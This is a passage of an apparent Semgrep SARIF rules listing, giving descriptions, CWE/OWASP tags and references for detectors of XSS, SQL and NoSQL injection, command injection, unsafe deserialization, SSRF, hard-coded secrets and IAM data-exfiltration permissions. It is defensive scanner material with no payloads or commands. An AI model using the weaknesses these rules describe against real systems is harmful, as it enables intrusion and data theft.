[https://developer.mozilla.org/en-US/docs/Web/API/Document/writeln](https://developer.mozilla.org/en-US/docs/Web/API/Document/writeln)\n - [https://developer.mozilla.org/en-US/docs/Web/API/Document/write](https://developer.mozilla.org/en-US/docs/Web/API/Document/write)\n - [https://developer.mozilla.org/en-US/docs/Web/API/Element/insertAdjacentHTML](https://developer.mozilla.org/en-US/docs/Web/API/Element/insertAdjacentHTML)\n","text":"Detection of $HTML from non-constant definition. This can inadvertently expose users to cross-site scripting (XSS) attacks if this comes from user-provided input. If you have to use $HTML, consider using a sanitization library such as DOMPurify to sanitize your HTML."},"helpUri":"https://semgrep.dev/r/typescript.react.security.audit.react-unsanitized-method.react-unsanitized-method","id":"typescript.react.security.audit.react-unsanitized-method.react-unsanitized-method","name":"typescript.react.security.audit.react-unsanitized-method.react-unsanitized-method","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.react.security.audit.react-unsanitized-method.react-unsanitized-method"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS."},"help":{"markdown":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.web.fastapi-cookie-secure-missing.fastapi-cookie-secure-missing)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS."},"helpUri":"https://semgrep.dev/r/python.fastapi.web.fastapi-cookie-secure-missing.fastapi-cookie-secure-missing","id":"python.fastapi.web.fastapi-cookie-secure-missing.fastapi-cookie-secure-missing","name":"python.fastapi.web.fastapi-cookie-secure-missing.fastapi-cookie-secure-missing","properties":{"precision":"very-high","tags":["CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.web.fastapi-cookie-secure-missing.fastapi-cookie-secure-missing"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.net.nosql.net-mongo-nosqli-taint.net-mongo-nosqli-taint)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"helpUri":"https://semgrep.dev/r/go.net.nosql.net-mongo-nosqli-taint.net-mongo-nosqli-taint","id":"go.net.nosql.net-mongo-nosqli-taint.net-mongo-nosqli-taint","name":"go.net.nosql.net-mongo-nosqli-taint.net-mongo-nosqli-taint","properties":{"precision":"very-high","tags":["CWE-943: Improper Neutralization of Special Elements in Data Query Logic","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.net.nosql.net-mongo-nosqli-taint.net-mongo-nosqli-taint"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Create parameterized queries in pgx by using positional parameters (`$1`, `$2`, ...) and adding the values as additional arguments to the function call. It is also possible to create prepared statements through the `Prepare` function. This function uses the same placeholders for bound parameters."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Create parameterized queries in pgx by using positional parameters (`$1`, `$2`, ...) and adding the values as additional arguments to the function call. It is also possible to create prepared statements through the `Prepare` function. This function uses the same placeholders for bound parameters.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.grpc.sql.grpc-pgx-sqli-taint.grpc-pgx-sqli-taint)\n - [https://github.com/jackc/pgx](https://github.com/jackc/pgx)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://pkg.go.dev/github.com/jackc/pgx/v4#hdr-Connection_Pool](https://pkg.go.dev/github.com/jackc/pgx/v4#hdr-Connection_Pool)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Create parameterized queries in pgx by using positional parameters (`$1`, `$2`, ...) and adding the values as additional arguments to the function call. It is also possible to create prepared statements through the `Prepare` function. This function uses the same placeholders for bound parameters."},"helpUri":"https://semgrep.dev/r/go.grpc.sql.grpc-pgx-sqli-taint.grpc-pgx-sqli-taint","id":"go.grpc.sql.grpc-pgx-sqli-taint.grpc-pgx-sqli-taint","name":"go.grpc.sql.grpc-pgx-sqli-taint.grpc-pgx-sqli-taint","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.grpc.sql.grpc-pgx-sqli-taint.grpc-pgx-sqli-taint"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Executing non-constant commands. This can lead to command injection."},"help":{"markdown":"Executing non-constant commands. This can lead to command injection.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.exec-use.exec-use)\n - [https://github.com/FloeDesignTechnologies/phpcs-security-audit/blob/master/Security/Sniffs/BadFunctions/SystemExecFunctionsSniff.php](https://github.com/FloeDesignTechnologies/phpcs-security-audit/blob/master/Security/Sniffs/BadFunctions/SystemExecFunctionsSniff.php)\n","text":"Executing non-constant commands. This can lead to command injection."},"helpUri":"https://semgrep.dev/r/php.lang.security.exec-use.exec-use","id":"php.lang.security.exec-use.exec-use","name":"php.lang.security.exec-use.exec-use","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.exec-use.exec-use"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected directly writing to a Response object from user-defined input. This bypasses any HTML escaping and may expose your application to a Cross-Site-scripting (XSS) vulnerability. Instead, use 'resp.render()' to render safely escaped HTML."},"help":{"markdown":"Detected directly writing to a Response object from user-defined input. This bypasses any HTML escaping and may expose your application to a Cross-Site-scripting (XSS) vulnerability. Instead, use 'resp.render()' to render safely escaped HTML.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.xss.direct-response-write.direct-response-write)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)\n","text":"Detected directly writing to a Response object from user-defined input. This bypasses any HTML escaping and may expose your application to a Cross-Site-scripting (XSS) vulnerability. Instead, use 'resp.render()' to render safely escaped HTML."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.xss.direct-response-write.direct-response-write","id":"javascript.express.security.audit.xss.direct-response-write.direct-response-write","name":"javascript.express.security.audit.xss.direct-response-write.direct-response-write","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.xss.direct-response-write.direct-response-write"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Don’t use the default session cookie name Using the default session cookie name can open your app to attacks. The security issue posed is similar to X-Powered-By: a potential attacker can use it to fingerprint the server and target attacks accordingly."},"help":{"markdown":"Don’t use the default session cookie name Using the default session cookie name can open your app to attacks. The security issue posed is similar to X-Powered-By: a potential attacker can use it to fingerprint the server and target attacks accordingly.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.express-cookie-settings.express-cookie-session-default-name)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n","text":"Don’t use the default session cookie name Using the default session cookie name can open your app to attacks. The security issue posed is similar to X-Powered-By: a potential attacker can use it to fingerprint the server and target attacks accordingly."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.express-cookie-settings.express-cookie-session-default-name","id":"javascript.express.security.audit.express-cookie-settings.express-cookie-session-default-name","name":"javascript.express.security.audit.express-cookie-settings.express-cookie-session-default-name","properties":{"precision":"very-high","tags":["CWE-522: Insufficiently Protected Credentials","MEDIUM CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.express-cookie-settings.express-cookie-session-default-name"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.mssql.node-mssql-hardcoded-secret-connection-string.node-mssql-hardcoded-secret-connection-string)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/javascript.mssql.node-mssql-hardcoded-secret-connection-string.node-mssql-hardcoded-secret-connection-string","id":"javascript.mssql.node-mssql-hardcoded-secret-connection-string.node-mssql-hardcoded-secret-connection-string","name":"javascript.mssql.node-mssql-hardcoded-secret-connection-string.node-mssql-hardcoded-secret-connection-string","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.mssql.node-mssql-hardcoded-secret-connection-string.node-mssql-hardcoded-secret-connection-string"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `jsonpickle` module can execute arbitrary Python code. Do not load `jsonpickles` from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `jsonpickle` module can execute arbitrary Python code. Do not load `jsonpickles` from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.deserialization.tainted-jsonpickle-fastapi.tainted-jsonpickle-fastapi)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://github.com/jsonpickle/jsonpickle#jsonpickle](https://github.com/jsonpickle/jsonpickle#jsonpickle)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `jsonpickle` module can execute arbitrary Python code. Do not load `jsonpickles` from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml."},"helpUri":"https://semgrep.dev/r/python.fastapi.deserialization.tainted-jsonpickle-fastapi.tainted-jsonpickle-fastapi","id":"python.fastapi.deserialization.tainted-jsonpickle-fastapi.tainted-jsonpickle-fastapi","name":"python.fastapi.deserialization.tainted-jsonpickle-fastapi.tainted-jsonpickle-fastapi","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.deserialization.tainted-jsonpickle-fastapi.tainted-jsonpickle-fastapi"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A request was found to be crafted from user-input `$REQUEST`. This can lead to Server-Side Request Forgery (SSRF) vulnerabilities, potentially exposing sensitive data. It is recommend where possible to not allow user-input to craft the base request, but to be treated as part of the path or query parameter. When user-input is necessary to craft the request, it is recommended to follow OWASP best practices to prevent abuse, including using an allowlist."},"help":{"markdown":"A request was found to be crafted from user-input `$REQUEST`. This can lead to Server-Side Request Forgery (SSRF) vulnerabilities, potentially exposing sensitive data. It is recommend where possible to not allow user-input to craft the base request, but to be treated as part of the path or query parameter. When user-input is necessary to craft the request, it is recommended to follow OWASP best practices to prevent abuse, including using an allowlist.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.injection.tainted-url-host.tainted-url-host)\n - [https://goteleport.com/blog/ssrf-attacks/](https://goteleport.com/blog/ssrf-attacks/)\n","text":"A request was found to be crafted from user-input `$REQUEST`. This can lead to Server-Side Request Forgery (SSRF) vulnerabilities, potentially exposing sensitive data. It is recommend where possible to not allow user-input to craft the base request, but to be treated as part of the path or query parameter. When user-input is necessary to craft the request, it is recommended to follow OWASP best practices to prevent abuse, including using an allowlist."},"helpUri":"https://semgrep.dev/r/go.lang.security.injection.tainted-url-host.tainted-url-host","id":"go.lang.security.injection.tainted-url-host.tainted-url-host","name":"go.lang.security.injection.tainted-url-host.tainted-url-host","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","HIGH CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.injection.tainted-url-host.tainted-url-host"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Ensure that IAM policies don't allow data exfiltration actions that are not resource-constrained. This can allow the user to read sensitive data they don't need to read. Instead, make sure that the user granted these privileges are given these permissions on specific resources."},"help":{"markdown":"Ensure that IAM policies don't allow data exfiltration actions that are not resource-constrained. This can allow the user to read sensitive data they don't need to read. Instead, make sure that the user granted these privileges are given these permissions on specific resources.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.lang.security.iam.no-iam-data-exfiltration.no-iam-data-exfiltration)\n - [https://github.com/bridgecrewio/checkov/blob/ca830e14745c2c8e1b941985f305abe985d7f1f9/checkov/terraform/checks/data/aws/IAMDataExfiltration.py](https://github.com/bridgecrewio/checkov/blob/ca830e14745c2c8e1b941985f305abe985d7f1f9/checkov/terraform/checks/data/aws/IAMDataExfiltration.py)\n - [https://cloudsplaining.readthedocs.io/en/latest/glossary/data-exfiltration/](https://cloudsplaining.readthedocs.io/en/latest/glossary/data-exfiltration/)\n","text":"Ensure that IAM policies don't allow data exfiltration actions that are not resource-constrained. This can allow the user to read sensitive data they don't need to read. Instead, make sure that the user granted these privileges are given these permissions on specific resources."},"helpUri":"https://semgrep.dev/r/terraform.lang.security.iam.no-iam-data-exfiltration.no-iam-data-exfiltration","id":"terraform.lang.security.iam.no-iam-data-exfiltration.no-iam-data-exfiltration","name":"terraform.lang.security.iam.no-iam-data-exfiltration.no-iam-data-exfiltration","properties":{"precision":"very-high","tags":["CWE-200: Exposure of Sensitive Information to an Unauthorized Actor","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.lang.security.iam.no-iam-data-exfiltration.no-iam-data-exfiltration"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.hardcoded.strings.detected-private-key.detected-private-key)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/javascript.lang.hardcoded.strings.detected-private-key.detected-private-key","id":"javascript.lang.hardcoded.strings.detected-private-key.detected-private-key","name":"javascript.lang.hardcoded.strings.detected-private-key.detected-private-key","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","MEDIUM CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.hardcoded.strings.detected-private-key.detected-private-key"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The following function call $SER.$FUNC accepts user controlled data which can result in Remote Code Execution (RCE) through Object Deserialization. It is recommended to use secure data processing alternatives such as JSON.parse() and Buffer.from()."},"help":{"markdown":"The following function call $SER.$FUNC accepts user controlled data which can result in Remote Code Execution (RCE) through Object Deserialization. It is recommended to use secure data processing alternatives such as JSON.parse() and Buffer.from().\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.express-third-party-object-deserialization.express-third-party-object-deserialization)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html)\n","text":"The following function call $SER.$FUNC accepts user controlled data which can result in Remote Code Execution (RCE) through Object Deserialization. It is recommended to use secure data processing alternatives such as JSON.parse() and Buffer.from()."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.express-third-party-object-deserialization.express-third-party-object-deserialization","id":"javascript.express.security.audit.express-third-party-object-deserialization.express-third-party-object-deserialization","name":"javascript.express.security.audit.express-third-party-object-deserialization.express-third-party-object-deserialization","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.express-third-party-object-deserialization.express-third-party-object-deserialization"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The syntax `<%== ... %>` is an alias for `html_safe`. This means the content inside these tags will be rendered as raw HTML. This may expose your application to cross-site scripting. If you need raw HTML, prefer using the more explicit `html_safe` and be sure to correctly sanitize variables using a library such as DOMPurify."},"help":{"markdown":"The syntax `<%== ... %>` is an alias for `html_safe`. This means the content inside these tags will be rendered as raw HTML. This may expose your application to cross-site scripting. If you need raw HTML, prefer using the more explicit `html_safe` and be sure to correctly sanitize variables using a library such as DOMPurify.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.audit.xss.templates.alias-for-html-safe.alias-for-html-safe)\n - [https://medium.com/sumone-technical-blog/a-pretty-way-to-unescape-html-in-a-ruby-on-rails-application-efc22b850027](https://medium.com/sumone-technical-blog/a-pretty-way-to-unescape-html-in-a-ruby-on-rails-application-efc22b850027)\n - [https://stackoverflow.com/questions/4251284/raw-vs-html-safe-vs-h-to-unescape-html#:~:text===](https://stackoverflow.com/questions/4251284/raw-vs-html-safe-vs-h-to-unescape-html#:~:text===)\n","text":"The syntax `<%== ... %>` is an alias for `html_safe`. This means the content inside these tags will be rendered as raw HTML. This may expose your application to cross-site scripting. If you need raw HTML, prefer using the more explicit `html_safe` and be sure to correctly sanitize variables using a library such as DOMPurify."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.audit.xss.templates.alias-for-html-safe.alias-for-html-safe","id":"ruby.rails.security.audit.xss.templates.alias-for-html-safe.alias-for-html-safe","name":"ruby.rails.security.audit.xss.templates.alias-for-html-safe.alias-for-html-safe","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.audit.xss.templates.alias-for-html-safe.alias-for-html-safe"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"If user input reaches `HoverProvider` while `supportHml` is set to `true` it may introduce an XSS vulnerability. Do not produce HTML for hovers with dynamically generated input."},"help":{"markdown":"If user input reaches `HoverProvider` while `supportHml` is set to `true` it may introduce an XSS vulnerability. Do not produce HTML for hovers with dynamically generated input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.monaco-editor.security.audit.monaco-hover-htmlsupport.monaco-hover-htmlsupport)\n - [https://github.com/microsoft/monaco-editor/issues/801](https://github.com/microsoft/monaco-editor/issues/801)\n","text":"If user input reaches `HoverProvider` while `supportHml` is set to `true` it may introduce an XSS vulnerability. Do not produce HTML for hovers with dynamically generated input."},"helpUri":"https://semgrep.dev/r/javascript.monaco-editor.security.audit.monaco-hover-htmlsupport.monaco-hover-htmlsupport","id":"javascript.monaco-editor.security.audit.monaco-hover-htmlsupport.monaco-hover-htmlsupport","name":"javascript.monaco-editor.security.audit.monaco-hover-htmlsupport.monaco-hover-htmlsupport","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.monaco-editor.security.audit.monaco-hover-htmlsupport.monaco-hover-htmlsupport"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Calling assert with user input is equivalent to eval'ing."},"help":{"markdown":"Calling assert with user input is equivalent to eval'ing.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.assert-use.assert-use)\n - [https://www.php.net/manual/en/function.assert](https://www.php.net/manual/en/function.assert)\n - [https://github.com/FloeDesignTechnologies/phpcs-security-audit/blob/master/Security/Sniffs/BadFunctions/AssertsSniff.php](https://github.com/FloeDesignTechnologies/phpcs-security-audit/blob/master/Security/Sniffs/BadFunctions/AssertsSniff.php)\n","text":"Calling assert with user input is equivalent to eval'ing."},"helpUri":"https://semgrep.dev/r/php.lang.security.assert-use.assert-use","id":"php.lang.security.assert-use.assert-use","name":"php.lang.security.assert-use.assert-use","properties":{"precision":"very-high","tags":["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.assert-use.assert-use"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a Storage that was not configured to deny action by default. Add `enable_https_traffic_only = true` in your resource block."},"help":{"markdown":"Detected a Storage that was not configured to deny action by default. Add `enable_https_traffic_only = true` in your resource block.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.azure.security.storage.storage-enforce-https.storage-enforce-https)\n - [https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/storage_account#enable_https_traffic_only](https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/storage_account#enable_https_traffic_only)\n - [https://docs.microsoft.com/en-us/azure/storage/common/storage-require-secure-transfer](https://docs.microsoft.com/en-us/azure/storage/common/storage-require-secure-transfer)\n","text":"Detected a Storage that was not configured to deny action by default. Add `enable_https_traffic_only = true` in your resource block."},"helpUri":"https://semgrep.dev/r/terraform.azure.security.storage.storage-enforce-https.storage-enforce-https","id":"terraform.azure.security.storage.storage-enforce-https.storage-enforce-https","name":"terraform.azure.security.storage.storage-enforce-https.storage-enforce-https","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.azure.security.storage.storage-enforce-https.storage-enforce-https"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Encryption at rest is not enabled for the elastic search domain resource"},"help":{"markdown":"Encryption at rest is not enabled for the elastic search domain resource\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.lang.security.elastic-search-encryption-at-rest.elastic-search-encryption-at-rest)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n","text":"Encryption at rest is not enabled for the elastic search domain resource"},"helpUri":"https://semgrep.dev/r/terraform.lang.security.elastic-search-encryption-at-rest.elastic-search-encryption-at-rest","id":"terraform.lang.security.elastic-search-encryption-at-rest.elastic-search-encryption-at-rest","name":"terraform.lang.security.elastic-search-encryption-at-rest.elastic-search-encryption-at-rest","properties":{"precision":"very-high","tags":["CWE-311: Missing Encryption of Sensitive Data","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.lang.security.elastic-search-encryption-at-rest.elastic-search-encryption-at-rest"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Using user input when accessing files is potentially dangerous. A malicious actor could use this to modify or access files they have no right to."},"help":{"markdown":"Using user input when accessing files is potentially dangerous. A malicious actor could use this to modify or access files they have no right to.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.audit.avoid-tainted-shell-call.avoid-tainted-shell-call)\n - [https://github.com/presidentbeef/brakeman/blob/main/docs/warning_types/file_access/index.markdown](https://github.com/presidentbeef/brakeman/blob/main/docs/warning_types/file_access/index.markdown)\n","text":"Using user input when accessing files is potentially dangerous. A malicious actor could use this to modify or access files they have no right to."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.audit.avoid-tainted-shell-call.avoid-tainted-shell-call","id":"ruby.rails.security.audit.avoid-tainted-shell-call.avoid-tainted-shell-call","name":"ruby.rails.security.audit.avoid-tainted-shell-call.avoid-tainted-shell-call","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - 